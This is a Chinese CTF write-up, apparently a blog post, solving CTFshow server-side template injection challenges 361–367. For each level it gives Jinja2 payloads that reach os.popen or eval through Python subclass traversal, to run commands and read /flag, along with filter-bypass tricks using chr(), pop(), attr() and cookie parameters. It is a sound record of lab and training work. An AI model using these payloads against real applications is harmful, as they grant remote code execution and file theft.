CTFSHOW-SSTI

361

没发现什么过滤,直接用burp跑了下

在这里插入图片描述

最后payload:{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

362

同361payload

363

简单fuzz下,过滤单双引号,get传参绕过的或者可以用bp把chr类跑出来也可以绕过

payload:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/flag

364

过滤了单双引号和args用chr绕过(想找个fuzz字典了,github没找到,用payload一个字符一个字符删fuzz到的。。。)
用这个payload fuzz出chr

{{().__class__.__base__.__subclasses__()[?].__init__.__globals__.__builtins__.chr}}

在这里插入图片描述

{% set chr = ().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}

用这个payload再FUZZ下,fuzz到132
在这里插入图片描述
最后payload为:

{%%20set%20chr%20=%20().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr%20%}{{().__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

365

跟上题差不多,fuzz出就比上一题又多过滤了个中括号,可以使用__getitem__和pop替代中括号,取列表的第n位
找chr:

{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.__builtins__.chr}}

最后payload:

{%%20set%20chr%20=%20().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.__builtins__.chr%20%}{{().__class__.__base__.__subclasses__().pop(132).__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

366

又多过滤了个_可以使用十六进制编码绕过但是好像得需要引号。这题又好像fuzz不出chr函数。用request传参绕过的.

可以看看羽师傅之前写的关于ssti bypass的一篇博客
payload:

?name={{(wa1ki0g|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5)}}
Cookie:w1=__init__;w2=__globals__;w3=__getitem__;w4=__builtins__;w5=__import__('os').popen('cat /flag').read()

在这里插入图片描述

367

payload同上

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值